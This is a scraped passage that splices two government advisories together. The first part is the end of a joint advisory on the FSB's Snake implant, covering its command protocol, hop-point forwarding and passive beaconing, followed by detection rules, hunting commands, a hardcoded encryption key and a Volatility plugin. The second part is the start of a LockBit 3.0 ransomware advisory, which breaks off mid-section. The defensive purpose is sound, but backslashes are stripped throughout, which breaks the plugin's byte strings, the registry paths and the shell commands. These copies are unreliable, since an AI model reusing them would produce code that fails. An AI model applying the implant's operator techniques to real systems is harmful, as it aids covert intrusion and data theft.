There are several commands that interact with the infected machine using standard built-in OS tools. The operator can use the Kill command (0x67) to kill a process, the Get command (0x68) to exfiltrate a file, the Put command (0x69) to write a file, the Del command (0x6a) to delete a file, or the Run command (0x66) to execute a command in a terminal shell and receive the results. For example, operators have used the Run command to run PowerShell commands, ping other hosts, use the Windows “net use” command to map network drives, and to run executable files that had been previously written to the node using the Put command.

In addition to commands that use the built-in OS functionality, there are several High commands that interact with Snake components. An operator can use the Read Config command (0x70) to read the 0x2 Container, which contains configuration data, or the Set Config Item command (0x71) to set a specific Queue Item within the 0x2 Container. For example, operators have used the Set Config Item command to add or update the IP addresses or domains and option parameters used to communicate with other Snake nodes. The Read Agents Track and Clear Agents Track commands (0x79 and 0x7a) interact with the 0x7 Container to read or delete logs which track which other Snake nodes have connected to this node. Note that the 0x7a command has been deprecated in some versions of Snake and returns the error “function unsupported” if called.

Snake has the ability to add additional commands by loading new modules. New modules can be loaded using the Load Modules command (0x72) or directly into memory using the Load Modules Mem command (0x7f). When compiling a module, the developer will assign an ordinal to each constituent command, which will then be used by the operator to call the newly added commands. These loaded modules can be removed using the Module Unload command (0x73).

Queue Commands

Queue Command Header

The four Queue commands contain a 0x3d-byte Queue Header following the Command Header. In more recent versions of Snake, this header is encrypted using the same CAST key used to encrypt the payload data. In this case, the Command Header is followed by the 512-byte RSA encrypted CAST key blob, the encrypted Queue Header, and finally the encrypted payload data.

Even though each of the four Queue commands only use a subset of the fields of the Queue Header (in different ways), the full header must be present for the command to be considered valid by the implant. Two fields in the header that all four Queue commands use are the Container Instance and Container Type fields, which indicate the specific Container on a node the Queue command intends to interact with. In the Queue Read and Write commands, the Item Type field is used to track the specific commands and their responses in the Containers.

Queue Enumerate Command

The Queue Enumerate command, with ordinal 0xa, is used to enumerate the contents of the 0x0 or 0x1 Containers to list all incoming or outgoing commands, respectively. The enumeration returns the 0x40-byte structure described above for each Queue Item, concatenated into a single return buffer.

Queue Read Command

The Queue Read command, with ordinal 0xb, is used to read an Item from the specified 0x0 or 0x1 Container. Several relevant fields in the Queue Header determine how the data is sent and stored. For example, the header determines whether the data should be sent immediately back to the server or stored for later transport. The header indicates if the implant should send the Queue Item’s header (i.e., the same 0x40-byte metadata structure returned by the 0xa command), the Item’s data, or both. The header also indicates whether the Queue Item should be deleted after being read and can also indicate that Queue Items with a lower Item Type should be deleted. This allows FSB operators to clear out all command Items previous to the one being read.

Queue Write Command

The Queue Write command, with ordinal 0xc, is used to write a Queue Item to the specified 0x0 or 0x1 Container. The Queue Header will indicate if a new Queue Item will be created, or an existing Queue Item will be modified.

If a Queue Item is set to be modified, an Item with the specified Item Type must exist in the specified Container. Several fields in the header must match specific attributes of the existing Queue Item. If these checks are met, the parameter data is written to the Queue Item. Fields in the Queue Header will indicate the length of data to be written, and the offset into the existing Queue Item where the write should begin.
If a Queue Item is set to be created, Snake will delete existing Queue Items of the specified Item Type in the Container of interest, then create a new Item of the specified Item Type and write the parameter data to the Queue Item. A field in the Queue Header will indicate the length of data to be written.

Queue Delete Command

The Queue Delete command, with ordinal 0xd, is used to delete a Queue Item from the specified 0x0 or 0x1 Container. The Flags field will determine if the single Queue Item should be deleted, or if all Queue Items with a lower Item Type should be deleted as well.

Forward Commands

Forward commands, with command ordinal 0x1, are used to tell an implant to forward a Snake command to a second target node, where the command will be executed. The target node sends the response data back to the first implant, which will then package that response data as its own response back to the caller.

The command is designed to tell an implant to forward one command to another implant, but in practice, Forward commands are often built on top of each other to create a chain of hop points that will continue to forward a command to an end point, where it will be executed. The response data is then sent back through the same chain of hop points until it reaches the operator.

The Forward command has a 0x199-byte Forward Header, followed by the encrypted command parameter data that will be sent to the target node of the Forward command. The Forward Header contains the information the implant will need to connect to the target node, including the ordinal of the Snake command that is being forwarded to the target node for execution.

The implant that receives the Forward command will construct a new Snake command of the ordinal indicated in the Forward Header. It will connect to the target node in a new session, construct the Command Header, and send the encrypted command parameter data on to the target node. The parameter data already will have been encrypted using the key associated with the target node, so that the target implant will be able to decrypt the parameter data and execute the command. 

When the Forward command is constructed, the CAST key used to CAST-128 encrypt the payload data—to include the 0x199-byte header and the parameter data to be forwarded—is encrypted with the RSA key pair used by the first implant. The parameter data that contains the parameters for the command to be forwarded is also CAST-128 encrypted, but the key used to encrypt the parameter data is encrypted with the RSA key pair used by the target node. The first implant knows through the header what command ordinal it is forwarding, but it is unable to decrypt the parameter data.

If the Forward Header sent to the first implant indicates that the command to be forwarded was another Forward command, the first target node will decrypt the parameter data and find another Forward Header. This first target node implant will then go through the same process to connect to the next target node, constructing the new command with the ordinal indicated in the second Forward Header to send the remaining encrypted parameter data to the next target node. This will repeat until the command to be forwarded is something other than another Forward command.

The Command Header and pertinent parameters for each target node are encrypted specifically for that node by the operator before the Forward command is sent into the Snake P2P network. To illustrate, the diagram below shows how the buffer might look when several Forward commands are chained together to include two hop points and an end point. The first hop point (HP1) will recover the first CAST key and CAST-128 decrypt the rest of the buffer, which will uncover the first Forward Header. HP1 will then forward the remainder of the decrypted buffer to the next hop point (HP2), starting with the second CAST key blob. HP2 will recover the second CAST key and CAST-128 decrypt the rest of the buffer, which will uncover the second Forward Header. HP2 will then forward the remainder of the decrypted buffer to the end point, starting with the third CAST key blob. The end point will recover the CAST key, decrypt the command parameter data, and execute the command. 

When a target machine has executed a forwarded command, the return data is encrypted with that implant’s RSA keys and returned directly to the previous hop point. As the data is returned up the chain in the Snake P2P network, the intermediate hop points do not manipulate the encrypted data, as they do not have the RSA private key necessary to do so. In this manner, the return data is de-facto end-to-end encrypted throughout the P2P network until it arrives back at the FSB operator.

SNAKE IMPLANT OPERATION

Snake uses two main methods for communication and command execution, namely Passive and Active. In general, Snake operators will employ Active operations to communicate with hop points within Snake’s infrastructure; however, hop points can and do sometimes operate using Snake’s Passive method. Snake’s end points tend to solely operate using the Passive method.

Active Operations

During Active operations, Snake commands are issued by an FSB operator or a script to a target machine, generally through Forward commands (described in the previous section). The response to the command is immediately returned to the point of origin following the same path that the command took to reach its end target, as shown in the previous figure on Forward command structure.

Passive Operations

During Passive operations, Snake implants operate on their own, without the synchronous interaction of FSB operators. The nodes with which an implant communicates during Passive operations are stored within its 0x2 Container(s) as communication channels. Up to ten communication channels can be present at any time; an operator can change these channels via the Set Config Item command.

Passive Intake

During Passive operations, the implant will beacon by sending a Queue Read (0xb) command to one of its stored communication channels that it has chosen at random. These Queue Read commands look for a Queue Item within a Container with an Instance Number equal to the implant’s UID. The matching UID indicates the Queue Items in this Container are intended for the beaconing implant.

If such a Queue Item is found, the beaconing implant will read in the Queue Item and delete it off of the host from which it was read. There can be multiple Queue Items found within the specified Queue Container that was beaconed to; each Queue Read command will read one of these items. This process is repeated until all items within the Container are read, which the infrastructure node will indicate by sending a specific error in response to the Queue Read. This beaconing will continue to randomly select hosts at nondeterministic time intervals for as long as the implant is set to perform Passive operations.

Passive Data Exfiltration

Similar to how Snake intakes commands passively, it can also exfiltrate the resulting data passively. This is done using Queue Write (0xc) commands to write to one of the stored communication channels chosen at random. Once the data is off the end point node, operators generally retrieve it manually or using a script. The Item Type field, which is unique per executed Snake command, is needed to associate the exfiltrated data with the target node on which the command was run.

In the context of Passive Snake communications, the term Item Type is defined as a UID for a given Snake command and its resulting data. The Item Type serves as a unique identifier to associate the results of command execution with the original command written by the operator. When the FSB collects the data, Snake knows exactly what infection the data came from, and therefore it can determine what key to use to successfully decrypt the data.

To illustrate how Passive operations are conducted between the end points, the operator, and the hop points in between, see the diagram above, which is explained further by the following steps:

• (1), (2): During Passive operations, the Node randomly chooses a host from amongst its stored communication channels and will beacon out to it with a Queue Read command (Hop Point 1 in this case). The Item Type for these beacons will be one greater than the Item Type of the last command received by the Node, indicating in this example that a command of Item Type 0x08 was the last command that was read in by the Node during Passive operations. This Node will continue to beacon with Item Type 0x09 until it receives a command, via Passive operations, with an Item Type of 0x09 or greater. The lines are dotted for (1) and (2) as this activity will be repeated at random intervals until a successful Queue Read occurs.
• (3), (4): In these steps, the operator uses a Queue Write command to write a command to Hop Point that is ultimately intended for the Node. The Item Type of the command being written to Hop Point 1 is assigned 0x20 (for this example). Note that the path of this command, its execution, and its results making it back to the operator can be tracked via the red text.
• (5), (6): The Node continues to beacon out looking for commands to read in (5). The return (6) is successful, and the command written by the operator to Hop Point 1 (3) is read in by the Node, then deleted from Hop Point 1.
• (7), (8): The Node attempts another Queue Read to Hop Point 1, however now the Item Type is set to 0x21, one greater than the command that was just read in by the Node at (5) and (6). This returns an error as Hop Point 1 has nothing else for the Node to read in, indicating to the Node that everything at Hop Point 1 was read.
• (9), (10): At this point, the Node has executed the command it read in at (5) and (6) and is attempting to send back the results. The Node randomly selects another host from its stored communication channels, Hop Point 2 in this case, and sends out a 0xb command to make sure that the Item Type 0x20, the Item Type of the command it executed, does not already exist within the Queue of Hop Point 2. If it receives an error, there is no Item with Item Type 0x20 on Hop Point 2, and the Node can proceed to send the command results.
• (11), (12): Here the data from the executed command is written to Hop Point 2 with Item Type 0x20 into its 0x1 Container with a 0xc command, the Item Type the command was initially given at creation (3).
• (13), (14): The Node continues its normal beaconing routine again as seen in (1) and (2), searching for Item Type 0x21, one greater than the Item Type of the most recently executed command. As in (1) and (2), the lines here are dotted to denote that this process will repeat until there was a successful beacon as in (5) and (6).
• (15-22): These steps show how the operator retrieves the resulting data that was written to Hop Point 2. The Queue Enumerate command (15) lists the contents of Hop Point 2’s 0x1 Container, showing the data written by the Node (11). This data is identifiable by its Item Type, namely 0x20. The Queue Read command (17) reads in the Item that was found in Hop Point 2’s Container. The Queue Read command that follows (19) is asking if there is any data left. In this case, the entirety of the data was read with the first Queue Read (17, 18). Therefore, the error returned from second Queue Read command (20) lets the operator know all of the data from Item Type 0x20 was read and there is nothing further. A Queue Delete command (21) follows and is sent to delete the item with Item Type 0x20 from Hop Point 2.
• The subsequent Queue Read, Queue Read, and Queue Delete commands (17-21) are denoted with dashed lines to indicate that this sequence of commands is repeated for all items returned from the Queue Enumerate command (15).

MITIGATIONS

A number of complementary detection techniques effectively identify some of the more recent variants of Snake. However, as described above, Snake is purpose-built to avoid large-scale detection. Below is a discussion of the advantages and disadvantages of various detection methodologies available for Snake.

Note that some of the techniques identified in this section can affect the availability or stability of a system. Defenders should follow organizational policies and incident response best practices to minimize the risk to operations while hunting for Snake.

Network-Based Detection

Network Intrusion Detection Systems (NIDS) can feasibly identify some of the more recent variants of Snake and its custom network protocols as detailed above.

Advantages: High-confidence, large-scale (network-wide) detection of custom Snake communication protocols.

Disadvantages: Low visibility of Snake implant operations and encrypted data in transit. There is some potential for false positives in the Snake http, http2, and tcp signatures. Snake operators can easily change network-based signatures.

Snake http

Snake client-to-server http and http2 traffic is contained within an arbitrary HTTP header field. The header field value for http begins with 10 pure alphanumeric characters, followed by base64 encoding of 8 bytes, which yields exactly 11 valid base64 characters plus one base64 padding character.

 ^[0-9A-Za-z]{10}[0-9A-Za-z/+]{11}=

The following two Suricata rules will detect the traffic described:

alert http any any -> any any (msg: "http rule (Cookie)"; pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z/+]{11}=/C"; flow: established, to_server; sid: 7; rev: 1;)
alert http any any -> any any (msg: "http rule (Other Header)"; pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z/+]{11}=/H"; flow: established, to_server; sid: 8; rev: 1;)

Snake http2

The header field value for http2 begins with 22 pure alphanumeric characters (base62 with non-extraneous characters), followed by the base62 encoding of at least 8 bytes, which must comprise at least 11 base62 characters with the four extraneous characters allowed. The actual requirement is stricter than this expression, since the total number of non-extraneous characters alone must equal or exceed 11; however, it is not possible to encode that aspect into a regular language.

 ^[0-9A-Za-z]{22}[0-9A-Za-z/;_=]{11}

The following two Suricata rules will detect the traffic described:

alert http any any -> any any (msg: "http2 rule (Cookie)"; pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z/_=;]{11}/C"; flow: established, to_server; sid: 9; rev: 1;)
alert http any any -> any any (msg: "http2 rule (Other Header)"; pcre:"/[0-9A-Za-z]{22}[0-9A-Za-z/_=;]{11}/H"; flow: established, to_server; sid: 10; rev: 1;)

Snake tcp

The client-to-server communication for tcp must begin with the ustart, which is not captured in this signature set. Immediately following the ustart, the next client-to-server communication must be the big-endian 32-bit unsigned integer 8 followed by any 8 bytes of data. The next communication must also be client-to-server, and it must comprise the big-endian 32-bit unsigned integer 4 followed by any 4 bytes of data. The next two communications must be server-to-client, comprising the integer 8 followed by 8 bytes of data and the integer 4 followed by 4 bytes of data.

The following six Suricata rules will, in conjunction, detect traffic of the form described:

alert tcp any any -> any any (msg: "tcp rule"; content: "|00 00 00 08|"; startswith; dsize: 12; flow: established, to_server; flowbits: set, a8; flowbits: noalert; sid: 1; rev: 1;)
alert tcp any any -> any any (msg: "tcp rule"; content: "|00 00 00 04|"; startswith; dsize:8; flow: established, to_server; flowbits: isset, a8; flowbits: unset, a8; flowbits: set, a4; flowbits: noalert; sid: 2; rev: 1;)
alert tcp any any -> any any (msg: "tcp rule"; content: "|00 00 00 08|"; startswith; dsize: 4; flow: established, to_client; flowbits: isset, a4; flowbits: unset, a4; flowbits: set, b81; flowbits: noalert; sid: 3; rev: 1;)
alert tcp any any -> any any (msg: "tcp rule"; dsize: 8; flow: established, to_client; flowbits: isset, b81; flowbits: unset, b81; flowbits: set, b8; flowbits: noalert; sid: 4; rev: 1;)
alert tcp any any -> any any (msg: "tcp rule"; content: "|00 00 00 04|"; startswith; dsize: 4; flow: established, to_client; flowbits: isset, b8; flowbits: unset, b8; flowbits: set, b41; flowbits: noalert; sid: 5; rev: 1;)
alert tcp any any -> any any (msg: "tcp rule"; dsize: 4; flow: established, to_client; flowbits: isset, b41; flowbits: unset, b41; sid: 6; rev: 1;)

Host-Based Detection

Advantages: High confidence based on totality of positive hits for host-based artifacts.

Disadvantages: Many of the artifacts on the host are easily shifted to exist in a different location or with a different name. As the files are fully encrypted, accurately identifying these files is difficult.

Covert Store Detection

The Snake covert store comprises a file-backed NTFS (usually) or FAT-16 (rarely) filesystem. The filesystem is encrypted with CAST-128 in CBC mode. The encryption key can be either statically hardcoded or dynamically stored in a specified Windows registry location. The IV is 8 bytes, since CAST-128 has an 8-byte block length. The first byte of the IV for any 512-byte block of the covert store is the 0-indexed block number. The remaining bytes of the IV are the corresponding bytes of the key, meaning that bytes at 0-indexed indices 1 through 7 of the IV are the bytes at 0-indexed indices 1 through 7 of the key.

When statically hardcoded, the encryption key has the following constant value:
​​​​​​ A1 D2 10 B7 60 5E DA 0F A1 65 AF EF 79 C3 66 FA

When stored in the Windows registry, the encryption key is the classname associated with the following key:

 SECURITYPolicySecretsn

The following initial 8-byte sequences are known to be used by NTFS or FAT-16 filesystems as observed:

 EB 52 90 4E 54 46 53 20 EB 5B 90 4E 54 46 53 20 EB 3C 90 4D 53 44 4F 53 EB 00 00 00 00 00 00 00

For tool development, the following test vector illustrates the encryption of the first given header above (EB 52 90 …) using CAST-128 with the default key shown above and the IV constructed as described, given this header occurs at the beginning of the first 512-byte block of the covert store.

      Plaintext:      EB 52 90 4E 54 46 53 20
      Key:              A1 D2 10 B7 60 5E DA 0F A1 65 AF EF 79 C3 66 FA
      IV:                 00 D2 10 B7 60 5E DA 0F
      Ciphertext:   C2 C7 F4 CA F7 DA 3A C8

By encrypting each possible initial filesystem byte sequence with CAST-128 using the key obtained from the registry—or the default encryption key if the registry entry does not exist—and searching for any file with a size that is an even multiple of 220, it is possible to efficiently detect Snake covert stores. Validation can be performed by decrypting the entire file using the outlined methodology and then verifying that it comprises an NTFS or FAT-16 filesystem.

Other On-Disk Artifact Detection

Registry Blob

The registry blob is generally found at the location listed below. In case it is not present at its typical location, the registry blob can be found by searching the full registry for a value of at least 0x1000 bytes in size and entropy of at least 7.9.

      Typical Name: Unknown (RegBlob)
      Typical Path: HKLMSOFTWAREClasses.wavOpenWithProgIds
      Characteristics: High Entropy

Queue File

      Typical Name: < RANDOM_GUID >..crmlog
      Typical Path: %windowsregistration
      Unique Characteristics: High Entropy, file attributes of hidden, system, and archive
      Role: Snake Queue File

The Snake Queue File generally has a predictable path and filename structure, in addition to being high entropy. The Snake Queue File can be located by scanning all files in the typical queue path with filenames matching a regular expression that captures the typical naming convention. Files meeting these criteria should be scanned for high entropy, which is performed by the Yara rule below:

rule HighEntropy
{ meta: description = "entropy rule" condition: math.entropy(0, filesize) >= 7.0
}

The following UNIX find command will scan files with names matching the GUID-based convention (note that the HighEntropy yara rule is assumed to be contained in a file named “1.yar”):

find /PATH/TO/WINDOWS_DIR -type f -regextype posix-egrep -iregex '.*/registration/({[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}}.){2}crmlog' -exec yara 1.yar {} ;

The following PowerShell command does the same:

Get-ChildItem -Recurse -File -Path %WINDOWS% | Where-Object { $_.FullName -match '(?i)/registration/({[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}}.){2}crmlog$'
} | ForEach-Object { yara 1.yar $_.FullName
}

Comadmin

      Typical Name: comadmin.dat
      Typical Path: %windows%system32Com
      Unique Characteristics: High Entropy
      Role: Houses Snake’s kernel driver and the driver’s loader

The Snake Comadmin file can be found using analogous techniques to that presented above for locating the Snake Queue File. The following UNIX find command will do so:

find /PATH/TO/WINDOWS -type f -regextype posix-egrep -iregex '.*/system32/Com/comadmin.dat' -exec yara 1.yar {} ;

The following PowerShell command does the same:

Get-ChildItem -Recurse -File -Path %WINDOWS% | Where-Object { $_.FullName -match '(?i)/system32/Com/comadmin.dat$'
} | ForEach-Object { yara 1.yar $_.FullName
}

Werfault

Typical Name: Werfault.exe
Typical Path: %windows%WinSxSx86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a0502
Unique Characteristics: Icon is different than that of a valid Windows Werfault.exe file
Role: Persistence mechanism

The Snake Werfault.exe file has non-standard icon sizes, which form the basis of the Yara rule below. This rule should be run on all files in the typical path, specifically the %Windows%WinSxS directory.

rule PeIconSizes
{ meta: description = "werfault rule" condition: pe.is_pe and for any rsrc in pe.resources: (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 3240) and for any rsrc in pe.resources: (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 1384) and for any rsrc in pe.resources: (rsrc.type == pe.RESOURCE_TYPE_ICON and rsrc.length == 7336)
}

Memory Analysis

Advantages: High confidence as memory provides the greatest level of visibility into Snake’s behaviors and artifacts.

Disadvantages: Potential impact on system stability, difficult scalability.

Capturing and analyzing the memory of a system will be the most effective approach in detecting Snake because it bypasses many of the behaviors that Snake employs to hide itself. With a memory analysis tool, such as Volatility, detection of a Snake compromise may be possible.
Snake’s principal user mode component is injected into a chosen process via a single allocation of PAGE_EXECUTE_READWRITE memory. The starting offset is generally 0x20000000, however the module does allow for relocation if needed. Additionally, since the user mode component is not obfuscated in any way, a valid PE header can be located at the beginning of the allocated memory region. Further validation can be performed by confirming the presence of strings known to exist in the user mode component also within the memory region. A plugin compatible with Volatility3 which can scan all processes on a system using this method is provided in the Appendix. A screenshot showing the results of the plugin successfully detecting Snake is displayed below.

PREVENTION

Note that the mitigations that follow are not meant to protect against the initial access vector and are only designed to prevent Snake’s persistence and hiding techniques.

Change Credentials and Apply Updates

System owners who are believed to be compromised by Snake are advised to change their credentials immediately (from a non-compromised system) and to not use any type of passwords similar to those used before. Snake employs a keylogger functionality that routinely returns logs back to FSB operators. Changing passwords and usernames to values which cannot be brute forced or guessed based on old passwords is recommended.

System owners are advised to apply updates to their Operating Systems. Modern versions of Windows, Linux, and MacOS make it much harder for adversaries to operate in the kernel space. This will make it much harder for FSB actors to load Snake’s kernel driver on the target system.

Execute Organizational Incident Response Plan

If system owners receive detection signatures of Snake implant activity or have other indicators of compromise that are associated with FSB actors using Snake, the impacted organization should immediately initiate their documented incident response plan.

We recommend implementing the following Cross-Sector Cybersecurity Performance Goals (CPGs) to help defend against FSB actors using Snake, or mitigate negative impacts post-compromise:

CPG 2.A: Changing Default Passwords will prevent FSB actors from compromising default credentials to gain initial access or move laterally within a network.

CPG 2.B: Requiring Minimum Password Strength across an organization will prevent FSB actors from being able to successfully conduct password spraying or cracking operations. 

CPG 2.C: Requiring Unique Credentials will prevent FSB actors from compromising valid accounts through password spraying or brute force. 

CPG 2.E Separating User and Privileged Accounts will make it harder for FSB actors to gain access to administrator credentials.

CPG 2.F. Network Segmentation to deny all connections by default unless explicitly required for specific system functionality, and ensure all incoming communication is going through a properly configured firewall.

CPG 2.H Implementing Phishing Resistant MFA adds an additional layer of security even when account credentials are compromised and can mitigate a variety of attacks towards valid accounts, to include brute forcing passwords and exploiting external remote services software.

CPG 4.C. Deploy Security.txt Files to ensure all public facing web domains have a security.txt file that conforms to the recommendations in RFC 9118.

APPENDIX

Partnership

This advisory was developed as a joint effort by an international partnership of multiple agencies in furtherance of the respective cybersecurity missions of each of the partner agencies, including our responsibilities to develop and issue cybersecurity specifications and mitigations. This partnership includes the following organizations:

• Federal Bureau of Investigation
• National Security Agency
• Cybersecurity and Infrastructure Security Agency
• Cyber National Mission Force
• The United Kingdom’s National Cyber Security Centre
• Canadian Centre for Cyber Security
• Communications Security Establishment
• Australian Cyber Security Centre
• New Zealand National Cyber Security Centre

Collectively, we use a variety of sources, methods, and partnerships to acquire information about foreign cyber threats. This advisory contains the information we have concluded can be publicly released, consistent with the protection of sources and methods and the public interest.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. We do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-authors. 

MITRE ATT&CK Techniques

This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. MITRE and ATT&CK are registered trademarks of The MITRE Corporation. This report references the following MITRE ATT&CK techniques.

Volatility Plugin

The following plugin for the Volatility memory analysis framework will scan all processes on the system until it finds the Snake user mode component injected into a process. If found, the plugin will list both the injected process and the virtual memory address at which the Snake user mode component is loaded.

# This plugin to identify the injected usermode component of Snake is based # on the malfind plugin released with Volatility3
#
# This file is Copyright 2019 Volatility Foundation and licensed under the # Volatility Software License 1.0
# which is available at https://www.volatilityfoundation.org/license/vsl-v1.0
import logging
from typing import Iterable, Tuple
from volatility3.framework import interfaces, symbols, exceptions, renderers
from volatility3.framework.configuration import requirements
from volatility3.framework.objects import utility
from volatility3.framework.renderers import format_hints
from volatility3.plugins.windows import pslist, vadinfo
vollog = logging.getLogger(__name__)
class snake(interfaces.plugins.PluginInterface): _required_framework_version = (2, 4, 0) @classmethod def get_requirements(cls): return [ requirements.ModuleRequirement(name = 'kernel', description = 'Windows kernel', architectures = ["Intel32", "Intel64"]), requirements.VersionRequirement(name = 'pslist', component = pslist.PsList, version = (2, 0, 0)), requirements.VersionRequirement(name = 'vadinfo', component = vadinfo.VadInfo, version = (2, 0, 0))] @classmethod def list_injections( cls, context: interfaces.context.ContextInterface, kernel_layer_name: str, symbol_table: str, proc: interfaces.objects.ObjectInterface) -> Iterable[ Tuple[interfaces.objects.ObjectInterface, bytes]]: proc_id = "Unknown" try: proc_id = proc.UniqueProcessId proc_layer_name = proc.add_process_layer() except exceptions.InvalidAddressException as excp: vollog.debug("Process {}: invalid address {} in layer {}". format(proc_id, excp.invalid_address, excp.layer_name)) return proc_layer = context.layers[proc_layer_name] for vad in proc.get_vad_root().traverse(): protection_string = vad.get_protection(vadinfo.VadInfo. protect_values(context, kernel_layer_name, symbol_table), vadinfo.winnt_protections) if not "PAGE_EXECUTE_READWRITE" in protection_string: continue if (vad.get_private_memory() == 1 and vad.get_tag() == "VadS") or (vad.get_private_memory() == 0 and protection_string != "PAGE_EXECUTE_WRITECOPY"): data = proc_layer.read(vad.get_start(), vad.get_size(), pad = True) if data.find(b'x4dx5a') != 0: continue yield vad, data def _generator(self, procs): kernel = self.context.modules[self.config['kernel']] is_32bit_arch = not symbols.symbol_table_is_64bit(self.context, kernel.symbol_table_name) for proc in procs: process_name = utility.array_to_string(proc.ImageFileName) for vad, data in self.list_injections(self.context, kernel.layer_name, kernel.symbol_table_name, proc): strings_to_find = [b'x25x73x23x31',b'x25x73x23x32', b'x25x73x23x33',b'x25x73x23x34', b'x2ex74x6dx70', b'x2ex73x61x76', b'x2ex75x70x64'] if not all(stringToFind in data for stringToFind in strings_to_find): continue yield (0, (proc.UniqueProcessId, process_name, format_hints.Hex(vad.get_start()), format_hints.Hex(vad.get_size()), vad.get_protection( vadinfo.VadInfo.protect_values(self.context, kernel.layer_name, kernel.symbol_table_name), vadinfo.winnt_protections))) return def run(self): kernel = self.context.modules[self.config['kernel']] return renderers.TreeGrid([("PID", int), ("Process", str), ("Address", format_hints.Hex), ("Length", format_hints.Hex), ("Protection", str)], self._generator(pslist.PsList.list_processes( context = self.context, layer_name = kernel.layer_name, symbol_table = kernel.symbol_table_name)))

Source de l’article sur us-cert.gov

SUMMARY

Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

Actions to take today to mitigate cyber threats from ransomware:

• Prioritize remediating known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Enable and enforce phishing- resistant multifactor authentication.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate known LockBit 3.0 ransomware IOCs and TTPs identified through FBI investigations as recently as March 2023.

The LockBit 3.0 ransomware operations function as a Ransomware-as-a-Service (RaaS) model and is a continuation of previous versions of the ransomware, LockBit 2.0, and LockBit. Since January 2020, LockBit has functioned as an affiliate-based ransomware variant; affiliates deploying the LockBit RaaS use many varying TTPs and attack a wide range of businesses and critical infrastructure organizations, which can make effective computer network defense and mitigation challenging.

The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report: 

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK for Enterprise.

CAPABILITIES

LockBit 3.0, also known as “LockBit Black,” is more modular and evasive than its previous versions and shares similarities with Blackmatter and Blackcat ransomware.

LockBit 3.0 is configured upon compilation with many different options that determine the behavior of the ransomware. Upon the actual execution of the ransomware within a victim environment, various arguments can be supplied to further modify the behavior of the ransomware. For example, LockBit 3.0 accepts additional arguments for specific operations in lateral movement and rebooting into Safe Mode (see LockBit Command Line parameters under Indicators of Compromise). If a LockBit affiliate does not have access to passwordless LockBit 3.0 ransomware, then a password argument is mandatory during the execution of the ransomware. LockBit 3.0 affiliates failing to enter the correct password will be unable to execute the ransomware [T1480.001]. The password is a cryptographic key which decodes the LockBit 3.0 executable. By protecting the code in such a manner, LockBit 3.0 hinders malware detection and analysis with the code being unexecutable and unreadable in its encrypted form. Signature-based detections may fail to detect the LockBit 3.0 executable as the executable’s encrypted potion will vary based on the cryptographic key used for encryption while also generating a unique hash. When provided the correct password, LockBit 3.0 will decrypt the main component, continue to decrypt or decompress its code, and execute the ransomware.

LockBit 3.0 will only infect machines that do not have language settings matching a defined exclusion list. However, whether a system language is checked at runtime is determined by a configuration flag originally set at compilation time. Languages on the exclusion list include, but are not limited to, Romanian (Moldova), Arabic (Syria), and Tatar (Russia). If a language from the exclusion list is detected [T1614.001], LockBit 3.0 will stop execution without infecting the system.

INITIAL ACCESS

Affiliates deploying LockBit 3.0 ransomware gain initial access to victim networks via remote desktop protocol (RDP) exploitation [T1133], drive-by compromise [T1189], phishing campaigns [T1566], abuse of valid accounts [T1078], and exploitation of public-facing applications [T1190].

EXECUTION AND INFECTION PROCESS

During the malware routine, if privileges are not sufficient, LockBit 3.0 attempts to escalate to the required privileges [TA0004]. LockBit 3.0 performs functions such as:

• Enumerating system information such as hostname, host configuration, domain information, local drive configuration, remote shares, and mounted external storage devices [T1082]
• Terminating processes and services [T1489]
• Launching commands [TA0002]
• Enabling automatic logon for persistence and privilege escalation [T1547]
• Deleting log files, files in the recycle bin folder, and shadow copies residing on disk [T1485], [T1490]

LockBit 3.0 attempts to spread across a victim network by using a preconfigured list of credentials hardcoded at compilation time or a compromised local account with elevated privileges [T1078]. When compiled, LockBit 3.0 may also enable options for spreading via Group Policy Objects and PsExec using the Server Message Block (SMB) protocol. LockBit 3.0 attempts to encrypt [T1486] data saved to any local or remote device, but skips files associated with core system functions.

After files are encrypted, LockBit 3.0 drops a ransom note with the new filename <Ransomware ID>.README.txt and changes the host’s wallpaper and icons to LockBit 3.0 branding [T1491.001]. If needed, LockBit 3.0 will send encrypted host and bot information to a command and control (C2) server [T1027].

Once completed, LockBit 3.0 may delete itself from the disk [T1070.004] as well as any Group Policy updates that were made, depending on which options were set at compilation time.

EXFILTRATION

LockBit 3.0 affiliates use Stealbit, a custom exfiltration tool used previously with LockBit 2.0 [TA0010]; rclone, an open-source command line cloud storage manager [T1567.002]; and publicly available file sharing services, such as MEGA [T1567.002], to exfiltrate sensitive company data files prior to encryption. While rclone and many publicly available file sharing services are primarily used for legitimate purposes, they can also be used by threat actors to aid in system compromise, network exploration, or data exfiltration. LockBit 3.0 affiliates often use other publicly available file sharing services to exfiltrate data as well [T1567] (see Table 1).

LEVERAGING FREEWARE AND OPEN-SOURCE TOOLS

